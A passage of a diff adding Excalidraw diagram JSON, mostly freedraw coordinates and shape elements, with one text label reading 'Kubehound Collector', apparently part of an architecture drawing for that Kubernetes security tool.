+ ], + [ + 16.087428483137437, + 61.40900119906949 + ], + [ + 19.374107420551244, + 61.40900119906949 + ], + [ + 20.584989134336105, + 61.40900119906949 + ], + [ + 23.006752561905827, + 61.40900119906949 + ], + [ + 26.466414601290026, + 61.75496740300766 + ], + [ + 28.19624562098213, + 61.92795050497674 + ], + [ + 29.06116113082752, + 62.10093360694646 + ], + [ + 29.234144232796606, + 62.10093360694646 + ], + [ + 29.40712733476568, + 62.10093360694646 + ], + [ + 29.753093538703833, + 62.10093360694646 + ], + [ + 29.753093538703833, + 61.75496740300766 + ], + [ + 29.92607664067423, + 61.40900119906949 + ], + [ + 29.92607664067423, + 60.890051893161605 + ], + [ + 30.27204284461238, + 59.16022087346949 + ], + [ + 30.27204284461238, + 57.94933915968531 + ], + [ + 30.27204284461238, + 56.565474343931356 + ], + [ + 30.27204284461238, + 55.00862642620834 + ], + [ + 30.27204284461238, + 53.45177850848597 + ], + [ + 30.27204284461238, + 51.54896438682413 + ], + [ + 30.27204284461238, + 47.74333614350178 + ], + [ + 30.27204284461238, + 46.878420633655736 + ], + [ + 30.099059742643306, + 44.97560651199456 + ], + [ + 29.753093538703833, + 42.89980928836365 + ], + [ + 29.753093538703833, + 40.651028962764315 + ], + [ + 29.753093538703833, + 39.959096554887346 + ], + [ + 29.753093538703833, + 38.92119794307222 + ], + [ + 29.753093538703833, + 38.40224863716433 + ], + [ + 29.753093538703833, + 38.229265535195246 + ], + [ + 29.753093538703833, + 38.056282433226166 + ], + [ + 29.753093538703833, + 37.88329933125709 + ], + [ + 29.753093538703833, + 37.71031622928736 + ], + [ + 29.753093538703833, + 37.53733312731828 + ], + [ + 29.92607664067423, + 37.01838382141104 + ], + [ + 30.099059742643306, + 36.8454007194413 + ], + [ + 30.27204284461238, + 35.98048520959526 + ], + [ + 30.27204284461238, + 35.80750210762618 + ], + [ + 30.27204284461238, + 35.28855280171894 + ], + [ + 30.618009048550547, + 34.94258659778012 + ], + [ + 30.618009048550547, + 34.42363729187289 + ], + [ + 30.618009048550547, + 34.250654189903166 + ], + [ + 30.618009048550547, + 33.731704883995924 + ], + [ + 30.44502594658146, + 33.21275557808803 + ], + [ + 29.234144232796606, + 31.828890762334748 + ], + [ + 28.715194926889364, + 31.65590766036501 + ], + [ + 25.601499091443323, + 30.272042844611725 + ], + [ + 19.547090522521632, + 29.580110436734746 + ], + [ + 14.703563667383497, + 29.580110436734746 + ], + [ + 10.033019914214433, + 29.580110436734746 + ], + [ + 6.054408568923001, + 29.580110436734746 + ], + [ + 3.11369583544604, + 29.580110436734746 + ], + [ + 0.5189493059072365, + 29.580110436734746 + ], + [ + -1.729831019692099, + 29.580110436734746 + ], + [ + -3.9786113452914345, + 29.580110436734746 + ], + [ + -4.84352685513814, + 29.580110436734746 + ], + [ + -5.881425466952611, + 29.580110436734746 + ], + [ + -6.746340976799316, + 29.580110436734746 + ], + [ + -7.265290282706554, + 29.580110436734746 + ], + [ + -7.438273384675631, + 29.75309353870383 + ], + [ + -7.265290282706554, + 30.963975252488694 + ], + [ + -6.919324078768396, + 32.866789374149874 + ], + [ + -6.400374772859848, + 34.59662039384197 + ], + [ + -6.227391670890769, + 35.98048520959526 + ], + [ + -6.054408568921691, + 36.32645141353407 + ], + [ + -6.054408568921691, + 35.98048520959526 + ], + [ + -6.054408568921691, + 35.98048520959526 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "text", + "version": 1374, + "versionNonce": 1380252896, + "index": "c14rs", + "isDeleted": false, + "id": "MNQwVXNZ", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2652.776798866395, + "y": -887.7805407253502, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 323.1781688481509, + "height": 41.60380510113408, + "seed": 1351497912, + "groupIds": [ + "U14M2DYMULBvInnHMJY4v", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "fontSize": 33.28304408090725, + "fontFamily": 1, + "text": "Kubehound Collector", + "rawText": "Kubehound Collector", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "Kubehound Collector", + "autoResize": true, + "lineHeight": 1.2500000000000004 + }, + { + "type": "arrow", + "version": 735, + "versionNonce": 1045586144, + "index": "c14rt", + "isDeleted": false, + "id": "veNd4I-WZWgoGz45CK-E1", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2784.2607220172595, + "y": -968.9977920176443, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 273.44860840862333, + "height": 28.752775883250248, + "seed": 1491293112, + "groupIds": [ + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": "arrow", + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -273.44860840862333, + 28.752775883250248 + ] + ] + }, + { + "type": "image", + "version": 1249, + "versionNonce": 185812192, + "index": "c14ru", + "isDeleted": false, + "id": "pp5ikmeN2oc0_i9iCabjt", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2782.4602033690153, + "y": -575.9498851990797, + "strokeColor": "transparent", + "backgroundColor": "transparent", + "width": 59.31260314165222, + "height": 59.31260314165222, + "seed": 1476117944, + "groupIds": [ + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "status": "pending", + "fileId": "81f9bb5db816b95a6807fdda2a002845e40fd318", + "scale": [ + 1, + 1 + ] + }, + { + "type": "arrow", + "version": 2180, + "versionNonce": 360083744, + "index": "c14rv", + "isDeleted": false, + "id": "LTGh7vylteBGZZZuIu1G8", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2749.0938117592063, + "y": -539.9031481161596, + "strokeColor": "#343a40", + "backgroundColor": "#ced4da", + "width": 48.06323077613782, + "height": 49.15278711100987, + "seed": 1871201720, + "groupIds": [ + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453654, + "link": null, + "locked": false, + "startBinding": { + "elementId": "taUG-Sob2IYuvuuqXaina", + "focus": 0.5480754823155906, + "gap": 15.339925918575318 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 2.028972029089371, + 16.102550061846934 + ], + [ + 42.16140273164426, + 19.643646888542072 + ], + [ + 48.06323077613782, + 49.15278711100987 + ] + ] + }, + { + "type": "arrow", + "version": 2221, + "versionNonce": 1003179296, + "index": "c14rw", + "isDeleted": false, + "id": "VwTSaUUpZ0T3e8DRMyHte", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2877.471785812145, + "y": -541.2181567128162, + "strokeColor": "#343a40", + "backgroundColor": "#ced4da", + "width": 47.38217418320537, + "height": 51.6856307575188, + "seed": 317116088, + "groupIds": [ + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453654, + "link": null, + "locked": false, + "startBinding": { + "elementId": "I6tRyaa7zdHSdTZk8sv4D", + "focus": -0.48679717574620424, + "gap": 13.071554289630285 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -1.347915436156937, + 18.63539370835586 + ], + [ + -41.480346138711816, + 22.176490535051 + ], + [ + -47.38217418320537, + 51.6856307575188 + ] + ] + }, + { + "type": "line", + "version": 1537, + "versionNonce": 590016736, + "index": "c14rx", + "isDeleted": false, + "id": "8Xg-LWlgcB8ei4KqXLurc", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2731.4277970261646, + "y": -605.7635642201949, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 999045048, + "groupIds": [ + "LiUDYsvE0Amz3N6wqm_tc", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1724, + "versionNonce": 1717163232, + "index": "c14ry", + "isDeleted": false, + "id": "F9jM6hU4SnHhBltGKfxGY", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2728.955198589013, + "y": -603.9294727362571, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 1570537656, + "groupIds": [ + "LiUDYsvE0Amz3N6wqm_tc", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1460, + "versionNonce": 705444064, + "index": "c14rz", + "isDeleted": false, + "id": "8AuLVfsFCYflz7j49M3vO", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2726.5115201611848, + "y": -602.0953812523176, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 1220258232, + "groupIds": [ + "LiUDYsvE0Amz3N6wqm_tc", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1358, + "versionNonce": 298982624, + "index": "c14s", + "isDeleted": false, + "id": "ph3a6TAGaZcY4pW_1MXch", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2741.828089638175, + "y": -616.0915568088783, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 13.468017988387276, + "height": 13.732096772473094, + "seed": 940421816, + "groupIds": [ + "LiUDYsvE0Amz3N6wqm_tc", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.5281575681716392, + 13.732096772473094 + ], + [ + -13.468017988387276, + 13.732096772473094 + ] + ] + }, + { + "type": "rectangle", + "version": 1355, + "versionNonce": 1329299680, + "index": "c14s2", + "isDeleted": false, + "id": "V5JHs2qK97lgzM7Amz4W-", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2741.0358532859163, + "y": -598.3982782751132, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 1647745976, + "groupIds": [ + "LiUDYsvE0Amz3N6wqm_tc", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1376, + "versionNonce": 1641571552, + "index": "c14s4", + "isDeleted": false, + "id": "__iJjB8sg8n9bQ0EsqEt1", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2741.175122680296, + "y": -587.395996119436, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 156918968, + "groupIds": [ + "LiUDYsvE0Amz3N6wqm_tc", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1408, + "versionNonce": 1463339232, + "index": "c14s6", + "isDeleted": false, + "id": "H2scD48PZTgJEL10MCzWX", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2741.0358532859163, + "y": -578.2545470416958, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 186453432, + "groupIds": [ + "LiUDYsvE0Amz3N6wqm_tc", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1435, + "versionNonce": 183282912, + "index": "c14s8", + "isDeleted": false, + "id": "QSdJWECfMCpJe97FTP21j", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2741.0358532859163, + "y": -569.6482016735918, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 1889703608, + "groupIds": [ + "LiUDYsvE0Amz3N6wqm_tc", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "LTGh7vylteBGZZZuIu1G8", + "type": "arrow" + } + ], + "updated": 1720441453353, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1455, + "versionNonce": 1719931104, + "index": "c14sA", + "isDeleted": false, + "id": "taUG-Sob2IYuvuuqXaina", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2741.0358532859163, + "y": -560.7887285005411, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 2123300792, + "groupIds": [ + "LiUDYsvE0Amz3N6wqm_tc", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "LTGh7vylteBGZZZuIu1G8", + "type": "arrow" + } + ], + "updated": 1720441453353, + "link": null, + "locked": false + }, + { + "type": "freedraw", + "version": 1535, + "versionNonce": 27089120, + "index": "c14sC", + "isDeleted": false, + "id": "O9kJduzBjjQ89fBZEagIp", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2740.738112536057, + "y": -613.2511805779184, + "strokeColor": "#364fc711", + "backgroundColor": "transparent", + "width": 45.84052202184127, + "height": 64.69568013648461, + "seed": 1158039736, + "groupIds": [ + "LiUDYsvE0Amz3N6wqm_tc", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + -0.1729831019690788 + ], + [ + 0.17298310196907882, + -0.3459662039388127 + ], + [ + 1.3838648157539413, + -0.5189493059078916 + ], + [ + 5.535459263014454, + -0.5189493059078916 + ], + [ + 9.34108750633812, + -0.5189493059078916 + ], + [ + 13.319698851629552, + -1.037898611815128 + ], + [ + 17.644276400859145, + -1.7298310196920987 + ], + [ + 21.79587084812097, + -2.24878032559999 + ], + [ + 25.082549785536088, + -2.24878032559999 + ], + [ + 26.985363907197264, + -2.4217634275690694 + ], + [ + 28.36922872295121, + -2.594746529538148 + ], + [ + 28.542211824920283, + -2.594746529538148 + ], + [ + 28.023262519011737, + -2.4217634275690694 + ], + [ + 26.293431499319638, + -1.3838648157539408 + ], + [ + 23.52570186781307, + -0.3459662039388127 + ], + [ + 19.028141216613083, + 0.8649155098460494 + ], + [ + 14.011631259505869, + 1.7298310196920987 + ], + [ + 7.265290282706554, + 2.9407127334763055 + ], + [ + 1.0378986118157834, + 3.632645141353276 + ], + [ + -4.84352685513814, + 4.497560651199326 + ], + [ + -9.341087506336807, + 5.189493059076296 + ], + [ + -10.206003016183512, + 5.3624761610453735 + ], + [ + -10.378986118152593, + 5.708442364983532 + ], + [ + -10.551969220121672, + 5.708442364983532 + ], + [ + -10.378986118152593, + 6.054408568922345 + ], + [ + -8.995121302398651, + 6.227391670891424 + ], + [ + -4.151594447260513, + 6.573357874829582 + ], + [ + -1.55684791772302, + 7.092307180737473 + ], + [ + 5.016509957107217, + 7.092307180737473 + ], + [ + 13.146715749660475, + 7.265290282706552 + ], + [ + 21.276921542213728, + 7.265290282706552 + ], + [ + 28.715194926889364, + 7.265290282706552 + ], + [ + 30.27204284461238, + 7.265290282706552 + ], + [ + 32.693806272180794, + 7.265290282706552 + ], + [ + 34.077671087934746, + 7.265290282706552 + ], + [ + 35.11556969975052, + 7.265290282706552 + ], + [ + 35.2885528017196, + 7.611256486645364 + ], + [ + 35.2885528017196, + 7.957222690583523 + ], + [ + 35.2885528017196, + 8.822138200429572 + ], + [ + 35.2885528017196, + 9.341087506337463 + ], + [ + 35.2885528017196, + 9.68705371027562 + ], + [ + 34.25065418990381, + 10.897935424059828 + ], + [ + 31.828890762335398, + 11.24390162799864 + ], + [ + 25.601499091443323, + 12.627766443751925 + ], + [ + 23.35271876584398, + 12.80074954572166 + ], + [ + 16.087428483137437, + 13.83864815753679 + ], + [ + 11.589867831937454, + 14.876546769351915 + ], + [ + 8.476171996491415, + 15.741462279197966 + ], + [ + 6.22739167089208, + 16.606377789044014 + ], + [ + 4.84352685513814, + 16.952343992982172 + ], + [ + 3.632645141353277, + 17.298310196920983 + ], + [ + 2.594746529538803, + 17.644276400859145 + ], + [ + 1.729831019692099, + 17.990242604797956 + ], + [ + 1.3838648157539413, + 18.163225706767037 + ], + [ + 0.8649155098467044, + 18.163225706767037 + ], + [ + 0.5189493059072365, + 18.163225706767037 + ], + [ + 0, + 18.50919191070519 + ], + [ + -1.037898611814473, + 18.682175012674268 + ], + [ + -1.55684791772302, + 18.682175012674268 + ], + [ + -1.9028141216611774, + 18.855158114644006 + ], + [ + -2.0757972236302566, + 18.855158114644006 + ], + [ + -2.767729631506572, + 19.201124318582163 + ], + [ + -3.9786113452914345, + 19.201124318582163 + ], + [ + -5.189493059076296, + 19.37410742055124 + ], + [ + -5.535459263014454, + 19.720073624490055 + ], + [ + -5.708442364983533, + 19.89305672645913 + ], + [ + -5.535459263014454, + 20.23902293039729 + ], + [ + -3.459662039384198, + 20.757972236305186 + ], + [ + 0, + 21.622887746151232 + ], + [ + 4.151594447261823, + 22.3148201540282 + ], + [ + 8.649155098460493, + 23.00675256190452 + ], + [ + 13.146715749660475, + 23.52570186781241 + ], + [ + 20.412006032367024, + 24.56360047962754 + ], + [ + 23.006752561905827, + 24.90956668356635 + ], + [ + 26.12044839735056, + 25.082549785535427 + ], + [ + 27.677296315073583, + 25.255532887504508 + ], + [ + 28.023262519011737, + 25.255532887504508 + ], + [ + 26.985363907197264, + 25.255532887504508 + ], + [ + 23.52570186781307, + 25.601499091442665 + ], + [ + 19.72007362449071, + 26.120448397350557 + ], + [ + 16.087428483137437, + 27.5043132131045 + ], + [ + 12.627766443753238, + 29.234144232796595 + ], + [ + 8.822138200429572, + 32.1748569662729 + ], + [ + 5.881425466953922, + 34.42363729187289 + ], + [ + 3.9786113452914345, + 35.80750210762618 + ], + [ + 1.9028141216611774, + 37.19136692338012 + ], + [ + 0.6919324078776257, + 38.229265535195246 + ], + [ + 0, + 38.92119794307222 + ], + [ + -0.5189493059072365, + 39.44014724897945 + ], + [ + 0, + 39.44014724897945 + ], + [ + 1.0378986118157834, + 39.44014724897945 + ], + [ + 4.67054375316906, + 38.748214841103135 + ], + [ + 8.822138200429572, + 38.5752317391334 + ], + [ + 14.357597463445337, + 37.71031622928736 + ], + [ + 18.682175012674925, + 37.01838382141104 + ], + [ + 21.62288774615189, + 36.67241761747222 + ], + [ + 24.217634275689385, + 36.153468311564986 + ], + [ + 24.39061737765846, + 35.80750210762618 + ], + [ + 24.73658358159793, + 35.461535903688016 + ], + [ + 24.90956668356701, + 35.461535903688016 + ], + [ + 25.082549785536088, + 35.28855280171894 + ], + [ + 25.428515989474246, + 35.28855280171894 + ], + [ + 25.601499091443323, + 35.11556969974921 + ], + [ + 25.774482193412403, + 35.11556969974921 + ], + [ + 25.255532887505165, + 35.80750210762618 + ], + [ + 21.276921542213728, + 36.32645141353407 + ], + [ + 16.779360891013752, + 37.3643500253492 + ], + [ + 11.935834035875612, + 38.748214841103135 + ], + [ + 4.151594447261823, + 41.16997826867156 + ], + [ + 0, + 43.41875859427154 + ], + [ + -3.459662039384198, + 45.32157271593272 + ], + [ + -5.881425466952611, + 47.397369939563625 + ], + [ + -7.78423958861379, + 48.43526855137876 + ], + [ + -8.995121302398651, + 49.300184061224805 + ], + [ + -9.687053710274967, + 49.81913336713204 + ], + [ + -10.033019914214433, + 50.165099571070854 + ], + [ + -10.033019914214433, + 50.33808267303994 + ], + [ + -8.476171996491415, + 50.165099571070854 + ], + [ + -6.919324078768396, + 49.992116469101774 + ], + [ + -4.84352685513814, + 49.992116469101774 + ], + [ + -2.0757972236302566, + 49.992116469101774 + ], + [ + 2.0757972236302566, + 49.81913336713204 + ], + [ + 3.459662039384198, + 49.81913336713204 + ], + [ + 6.054408568923001, + 49.81913336713204 + ], + [ + 9.68705371027628, + 49.81913336713204 + ], + [ + 15.049529871321653, + 49.81913336713204 + ], + [ + 16.95234399298283, + 49.81913336713204 + ], + [ + 20.412006032367024, + 49.81913336713204 + ], + [ + 24.0446511737203, + 49.81913336713204 + ], + [ + 25.428515989474246, + 49.81913336713204 + ], + [ + 25.774482193412403, + 49.81913336713204 + ], + [ + 25.428515989474246, + 49.81913336713204 + ], + [ + 21.276921542213728, + 49.992116469101774 + ], + [ + 15.741462279197968, + 50.511065775009016 + ], + [ + 11.070918526030216, + 51.54896438682413 + ], + [ + 7.092307180737474, + 52.58686299863992 + ], + [ + 3.459662039384198, + 53.97072781439321 + ], + [ + 0.5189493059072365, + 55.181609528178065 + ], + [ + -1.9028141216611774, + 56.392491241962276 + ], + [ + -4.67054375316775, + 57.776356057716214 + ], + [ + -5.535459263014454, + 58.295305363623456 + ], + [ + -6.054408568921691, + 58.64127156756228 + ], + [ + -6.227391670890769, + 58.814254669531344 + ], + [ + -6.400374772859848, + 58.814254669531344 + ], + [ + -6.573357874830237, + 58.987237771500425 + ], + [ + -6.054408568921691, + 58.987237771500425 + ], + [ + -4.324577549229591, + 58.987237771500425 + ], + [ + -1.55684791772302, + 58.987237771500425 + ], + [ + 3.8056282433223547, + 59.50618707740833 + ], + [ + 8.995121302398651, + 60.37110258725436 + ], + [ + 10.206003016183512, + 60.37110258725436 + ], + [ + 12.28180023981377, + 60.890051893161605 + ], + [ + 12.9737326476914, + 61.40900119906949 + ], + [ + 13.146715749660475, + 61.40900119906949 + ], + [ + 13.66566505556771, + 61.40900119906949 + ], + [ + 14.703563667383497, + 61.40900119906949 + ], + [ + 16.087428483137437, + 61.40900119906949 + ], + [ + 19.374107420551244, + 61.40900119906949 + ], + [ + 20.584989134336105, + 61.40900119906949 + ], + [ + 23.006752561905827, + 61.40900119906949 + ], + [ + 26.466414601290026, + 61.75496740300766 + ], + [ + 28.19624562098213, + 61.92795050497674 + ], + [ + 29.06116113082752, + 62.10093360694646 + ], + [ + 29.234144232796606, + 62.10093360694646 + ], + [ + 29.40712733476568, + 62.10093360694646 + ], + [ + 29.753093538703833, + 62.10093360694646 + ], + [ + 29.753093538703833, + 61.75496740300766 + ], + [ + 29.92607664067423, + 61.40900119906949 + ], + [ + 29.92607664067423, + 60.890051893161605 + ], + [ + 30.27204284461238, + 59.16022087346949 + ], + [ + 30.27204284461238, + 57.94933915968531 + ], + [ + 30.27204284461238, + 56.565474343931356 + ], + [ + 30.27204284461238, + 55.00862642620834 + ], + [ + 30.27204284461238, + 53.45177850848597 + ], + [ + 30.27204284461238, + 51.54896438682413 + ], + [ + 30.27204284461238, + 47.74333614350178 + ], + [ + 30.27204284461238, + 46.878420633655736 + ], + [ + 30.099059742643306, + 44.97560651199456 + ], + [ + 29.753093538703833, + 42.89980928836365 + ], + [ + 29.753093538703833, + 40.651028962764315 + ], + [ + 29.753093538703833, + 39.959096554887346 + ], + [ + 29.753093538703833, + 38.92119794307222 + ], + [ + 29.753093538703833, + 38.40224863716433 + ], + [ + 29.753093538703833, + 38.229265535195246 + ], + [ + 29.753093538703833, + 38.056282433226166 + ], + [ + 29.753093538703833, + 37.88329933125709 + ], + [ + 29.753093538703833, + 37.71031622928736 + ], + [ + 29.753093538703833, + 37.53733312731828 + ], + [ + 29.92607664067423, + 37.01838382141104 + ], + [ + 30.099059742643306, + 36.8454007194413 + ], + [ + 30.27204284461238, + 35.98048520959526 + ], + [ + 30.27204284461238, + 35.80750210762618 + ], + [ + 30.27204284461238, + 35.28855280171894 + ], + [ + 30.618009048550547, + 34.94258659778012 + ], + [ + 30.618009048550547, + 34.42363729187289 + ], + [ + 30.618009048550547, + 34.250654189903166 + ], + [ + 30.618009048550547, + 33.731704883995924 + ], + [ + 30.44502594658146, + 33.21275557808803 + ], + [ + 29.234144232796606, + 31.828890762334748 + ], + [ + 28.715194926889364, + 31.65590766036501 + ], + [ + 25.601499091443323, + 30.272042844611725 + ], + [ + 19.547090522521632, + 29.580110436734746 + ], + [ + 14.703563667383497, + 29.580110436734746 + ], + [ + 10.033019914214433, + 29.580110436734746 + ], + [ + 6.054408568923001, + 29.580110436734746 + ], + [ + 3.11369583544604, + 29.580110436734746 + ], + [ + 0.5189493059072365, + 29.580110436734746 + ], + [ + -1.729831019692099, + 29.580110436734746 + ], + [ + -3.9786113452914345, + 29.580110436734746 + ], + [ + -4.84352685513814, + 29.580110436734746 + ], + [ + -5.881425466952611, + 29.580110436734746 + ], + [ + -6.746340976799316, + 29.580110436734746 + ], + [ + -7.265290282706554, + 29.580110436734746 + ], + [ + -7.438273384675631, + 29.75309353870383 + ], + [ + -7.265290282706554, + 30.963975252488694 + ], + [ + -6.919324078768396, + 32.866789374149874 + ], + [ + -6.400374772859848, + 34.59662039384197 + ], + [ + -6.227391670890769, + 35.98048520959526 + ], + [ + -6.054408568921691, + 36.32645141353407 + ], + [ + 